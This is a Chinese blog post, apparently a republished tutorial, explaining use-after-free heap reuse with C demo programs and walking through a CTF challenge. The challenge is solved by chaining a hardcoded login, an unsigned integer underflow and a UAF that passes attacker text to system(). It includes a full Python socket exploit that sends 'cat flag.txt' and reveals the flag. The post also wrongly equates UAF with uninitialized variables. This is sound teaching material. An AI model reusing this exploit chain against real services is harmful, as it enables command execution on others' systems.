安全漏洞--释放重引用(UAF)漏洞分析

来源:互联网 发布:软件试运行报告 编辑:程序博客网 时间:2024/06/05 18:59

一 漏洞简介


未初始化漏洞(UAF)一般是指堆栈变量没有设置就使用导致,或者可能更多的是部分初始化导致。
释放后再用漏洞是堆上的数据被释放后,某个残留地址没清除再用导致。其实就是未初始化漏洞。


二 原理分析


windows系统测试代码


#include <stdio.h>#include <malloc.h>int main(int argc, char * argv[]){char * buf1=(char*)malloc(2048);printf("buf1 : 0x%08x\n",(int)buf1);char * buf2=(char*)malloc(2048);printf("buf2 : 0x%08x\n",(int)buf2);free(buf2);char * buf3=(char*)malloc(2048);printf("buf3 : 0x%08x\n",(int)buf3);return 0; }



大家仔细观察代码,发现buf3和buf2的指针地址竟然一样。这个可是不同的内存申请,

虽然指针buf3是新分配的内存,但是我们发现指针与之前释放的buf2上面的内存地址一样。

地址是同一个地址,数据呢?由于没有对指针竟然释放后设置为NULL,同时也没有清理

内存的数据比如zeromemory,memset等。因此潜在的隐患就产生在此处内存区域。





linux系统测试代码


#include <stdio.h>#include <string.h>#include <stdlib.h>int main(int argc, char *argv[]){char * buf1 = (char*) malloc(2048);char * buf2 = (char*) malloc(2048);char * buf3 = (char*) malloc(2048);char * buf4 = (char*) malloc(2048);char * buf5 = (char*) malloc(2048);memcpy(buf3, "123456helloworld", strlen("123456helloworld"));memcpy(buf5, "1234567890*1234567890*1234567890*",strlen("1234567890*1234567890*1234567890*"));printf("buf1 before : 0x%08x\n", (int) buf1);printf("buf2 before : 0x%08x\n", (int) buf2);printf("buf3 before : 0x%08x\n", (int) buf3);printf("buf4 before : 0x%08x\n", (int) buf4);printf("buf5 before : 0x%08x\n", (int) buf5);printf("\n--------------------------------------------\n");for (int i = 0; i < strlen("123456helloworld"); i++){printf("%c ", (char) buf3[i]);}printf("\n");for (int i = 0; i < strlen("123456helloworld"); i++){printf("0x%02x ", (char) buf3[i]);}printf("\n---------------------------------------------\n");free(buf3);char * buf6 = (char*) malloc(2048);printf("\n---------------------------------------------\n");printf("buf3 after  : 0x%08x\n", (int) buf3);printf("\n");for (int i = 0; i < strlen("123456helloworld"); i++){printf("0x%02x ", (char) buf3[i]);}printf("\n---------------------------------------------\n");printf("buf6 before : 0x%08x\n", (int) buf6);printf("\n---------------------------------------------\n");for (int i = 0; i < strlen("123456helloworld"); i++){printf("%c ", (char) buf6[i]);}printf("\n");for (int i = 0; i < strlen("123456helloworld"); i++){printf("0x%02x ", (char) buf6[i]);}printf("\n---------------------------------------------\n");free(buf5);char * buf7 = (char*) malloc(2048);printf("buf7 before : 0x%08x\n", (int) buf7);memcpy(buf7, "hello", strlen("hello"));free(buf7);printf("buf7 after  : 0x%08x\n", (int) buf7);free(buf6);printf("buf6 after  : 0x%08x\n", (int) buf6);return 0;}


linux 32位系统gcc 编译后,运行的结果。



大家仔细观察代码,发现buf6和buf3的指针地址竟然一样。同样大家注意红色标记的

内存数据都一样。说明使用完之后,没有释放,形成当前看到的滞留缓存代码数据。

原理也同上面。


三 漏洞测试


当应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,

而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如

内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲

内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,

dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存

大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为

这样的内存块太大了,最好不要长期占用这么大的内存资源。好的,理解了这个漏洞的出现原因,

那么我们来实战一道CTF题目。


题目下载链接


运行检测一下,发现32位。




运行第一部需要密码登录。




好的。进入逆向分析阶段IDA +F5 ,为了便于可读部分伪代码进行了

注释和函数变量重命名。我们先不着急进行程序的破解,先进行整体

的逻辑分析。查看此程序的大概功能是什么。



注意此处有大量分配内存函数。




此处注意有很多分支选项函数。





上面可以看的见,好像是一个买东西卖东西的小游戏。

其中蕴含的考点,暂时看不透。

先看看有什么关键函数或者字符之类的。




此处循环下面有个checkdollor函数。发现有system和puts函数。这两个函数很关键,

因为经常做逆向题目的都知道,这个是个系统命令执行函数,puts可以输出结果。

如果我们能够在此处执行命令应该就可以获取我们想要的结果,然后再看看此处

进入之后的执行条件。

1 login函数必须认证通过,否则返回。

2 比较条件 *V1==49      //0x31 "1"

3 美元的数量满足dollors >1000

4 执行的命令是commanda指针指向的内存区域代码。//commanda是command指针进行了后移10个字节。


那么我们先来一步一步解决


第一步 login函数:


此处代码可以看到成功登录的账号密码是rot和123456


第二步*V1==49


那么我们只需要到时候输入数据的时候,

记得command的内存区域第十个字符是1即可。


第三步dollors>1000


此处的这个dollors我们发现初始化的时候是15

那么我们看看这个dollors在那些地方被引用,被操作。

在这函数有运算,而且是dollors=dollors-3;

注意此处的数字比较小跟1000这个比起来很大。

所以通过前面的买卖实现数据运算。

买一个苹果需要3美金,卖一个收获2美金。

就是这样一个买卖游戏。

好好思考,前面曾经讲到过整数溢出的情况。

此处要实现大于15美金最后变成大于1000美金。

不依靠溢出漏洞,靠买卖只会越来越少,因为买花去的多,卖赚到的少。


经过思考得出一种解决方案(当然买卖有很多种情况都能实现溢出)

类似于汉诺塔一样,来回倒。

1 买上五次,手里dollors=0

2 但是苹果appleHave=5

3 然后我们再卖掉一个苹果

4 applecHave=4

5 dollors=2

6 最后我们在买一个苹果

7 dollors=2-3变成了-1由于是无符号整数,实现了溢出。


第四步  执行的命令是commanda


注意申请的内存数据变化





我们看到有内存的分配malloc函数。有一个leaveMessage函数,发现允许用户输入数据。

checkdollor函数里面包含有执行指令。想想刚才上面给大家讲的释放重引用漏洞,也就

是未初始化漏洞。我们可以在第一malloc函数内存区域写入特殊数据,到了第二个函数

checkdollor里面出现了二次分配引用,可以执行,从第十一字节开始。综合以上四步,

我们构思编写出对应的explicit程序。


四 漏洞利用


exploit代码如下:


'''Created on Nov 9, 2016@author: 5t4rk'''#-*- coding: utf-8 -*-import socketimport timeclass pwn_exploit:    HOST='192.168.138.133'    PORT=12345     BUFSIZ=1024    ADDR=(HOST, PORT)    def __init__(self):        try:            self.client=socket.socket(socket.AF_INET, socket.SOCK_STREAM)            self.client.connect(self.ADDR)            self.client.settimeout(3)            time.sleep(1)            recvData=self.client.recv(self.BUFSIZ)            print recvData.strip()            self.client.send("rot\n")            print "rot"            time.sleep(1)            recvData=self.client.recv(self.BUFSIZ)            print recvData.strip()            self.client.send("123456\n")            print "123456"            time.sleep(1)            recvData=self.client.recv(self.BUFSIZ)            print recvData.strip()            self.client.send("1\n")            print "1"            time.sleep(1)            recvData=self.client.recv(self.BUFSIZ)            print recvData.strip()            self.client.send("1\n")            print "1"            time.sleep(1)            recvData=self.client.recv(self.BUFSIZ)            print recvData.strip()            self.client.send("1\n")            print "1"            time.sleep(1)            recvData=self.client.recv(self.BUFSIZ)            print recvData.strip()            self.client.send("1\n")            print "1"            time.sleep(1)            recvData=self.client.recv(self.BUFSIZ)            print recvData.strip()            self.client.send("1\n")            print "1"            time.sleep(1)            recvData=self.client.recv(self.BUFSIZ)            print recvData.strip()            self.client.send("2\n")            print "2"            time.sleep(1)            recvData=self.client.recv(self.BUFSIZ)            print recvData.strip()            self.client.send("4\n")            print "4"            time.sleep(1)            recvData=self.client.recv(self.BUFSIZ)            print recvData.strip()            self.client.send("1"*11+"cat flag.txt\n")            print "1"*11+"cat flag.txt"            time.sleep(1)            recvData=self.client.recv(self.BUFSIZ)            print recvData.strip()            self.client.send("1\n")            print "1"            time.sleep(1)            recvData=self.client.recv(self.BUFSIZ)            print recvData.strip()            self.client.send("1"*10+"\n")            print "1"*10            time.sleep(1)            recvData=self.client.recv(self.BUFSIZ)            print recvData.strip()        except Exception:            print "except"if __name__ == '__main__':    heart=pwn_exploit()




此题目主要考察了两个主要的漏洞:

UAF释放重引用漏洞和整数溢出漏洞。

flag{you_are_gr3at_for_g3tt1ng_flag}


2 0
原创粉丝点击